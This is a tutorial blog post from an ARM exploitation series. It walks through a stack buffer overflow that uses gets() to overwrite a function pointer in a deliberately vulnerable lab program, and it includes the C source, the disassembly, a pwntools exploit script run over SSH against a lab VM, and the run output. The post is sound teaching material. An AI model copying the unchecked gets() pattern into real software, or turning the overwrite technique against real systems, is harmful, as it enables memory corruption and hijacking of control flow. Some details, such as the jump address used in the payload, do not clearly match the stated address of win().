Hack control flow – ARM sBOF
Tags: security, beginners
Published: 2021-01-30 12:23:43

---
series: ProtoARM
---

In this episode of the ProtoARM series, we'll exploit a vulnerable program to change the 'normal' control flow. This is the vulnerable source:

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
	puts("congrats\n");
}

int main()
{
	volatile int (*fp)() = NULL;
	char buffer[64];

  	gets(buffer);	
	if (fp)
	{
		printf("jump to 0x%08x\n", fp);
		fp();
	}
}
```

Let's read the assembly of those two functions:

win function:
```asm
00000564 <win>:
prolog:
 564:   b580            push    {r7, lr}
 566:   af00            add     r7, sp, #0

good_boy:
 568:   4b03            ldr     r3, [pc, #12]   ; (578 <win+0x14>)
 56a:   447b            add     r3, pc
 56c:   4618            mov     r0, r3
 56e:   f7ff ef5a       blx     424 <puts@plt>
 572:   bf00            nop

epilog:
 574:   bd80            pop     {r7, pc}
 576:   bf00            nop

string_pool:
 578:   00000096
```

This function simply prints a message. Its address is 0x0564, there is some padding in the form of `nop`s.

main function:
```asm
0000057c <main>:
prolog:
 57c:   b580            push    {r7, lr}
 57e:   b092            sub     sp, #72 ; 0x48
 580:   af00            add     r7, sp, #0
 582:   2300            movs    r3, #0
 584:   647b            str     r3, [r7, #68]           ; fp = NULL
 586:   1d3b            adds    r3, r7, #4
 588:   4618            mov     r0, r3                  ; r0 = buffer
 58a:   f7ff ef46       blx     418 <gets@plt>          ; gets(buffer);
 58e:   6c7b            ldr     r3, [r7, #68]           ; r3 = fp
 590:   2b00            cmp     r3, #0                  ; fp == NULL?
 592:   d007            beq.n   5a4 <main+0x28>


 594:   6c79            ldr     r1, [r7, #68]           ; l1 = fp
 596:   4b06            ldr     r3, [pc, #24]           ; (5b0 <main+0x34>)
 598:   447b            add     r3, pc
 59a:   4618            mov     r0, r3                  ; r0 = fmt
 59c:   f7ff ef36       blx     40c <printf@plt>        ; printf("jump to 0x%08\n", fp);
 5a0:   6c7b            ldr     r3, [r7, #68]           ; r3 = fp
 5a2:   4798            blx     r3                      ; jump to fp

exit_success:
 5a4:   2300            movs    r3, #0
 5a6:   4618            mov     r0, r3

epilog:
 5a8:   3748            adds    r7, #72 ; 0x48
 5aa:   46bd            mov     sp, r7
 5ac:   bd80            pop     {r7, pc}
 5ae:   bf00            nop
 5b0:   00000074        andeq   r0, r0, r4, ror r0
```

A `buffer` overflow will overwrite the function pointer allowing the user to jump to an arbitrary location.

Here is the exploit we can use. The payload contains sufficient amout of A's to fill the buffer and the address of `win` so it properly overwrites the `fp` variable:

```python
#!/usr/bin/env python3

import struct
from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')

i = 60
while True:
    i += 1
    print('test', i)
    payload = b'A' * i + struct.pack('<I', 0x00010435)
    process = socket.process('/root/protostarm/stack3/stack3')
    process.sendline(payload)
    res = ""
    while True:
        try:
            res += process.recv().decode()
        except:
            break

    print(res)
    if 'congrats' in res:
        break

    process.close()

socket.close()
```

```
user@Azeria-Lab-VM:~/protoarm/stack3$ ./exploit.py 
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Enabled
test 61
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1565

[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1565)
test 62
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1569
jump to 0x00000001

[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1569)
test 63
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1573
jump to 0x00000104

[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1573)
test 64
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1577
jump to 0x00010435
congrats


[*] Closed connection to '192.168.0.1'
```

Congrats! Next we'll discover how we can modify control flow without `fp`, but directly using the `pc` register.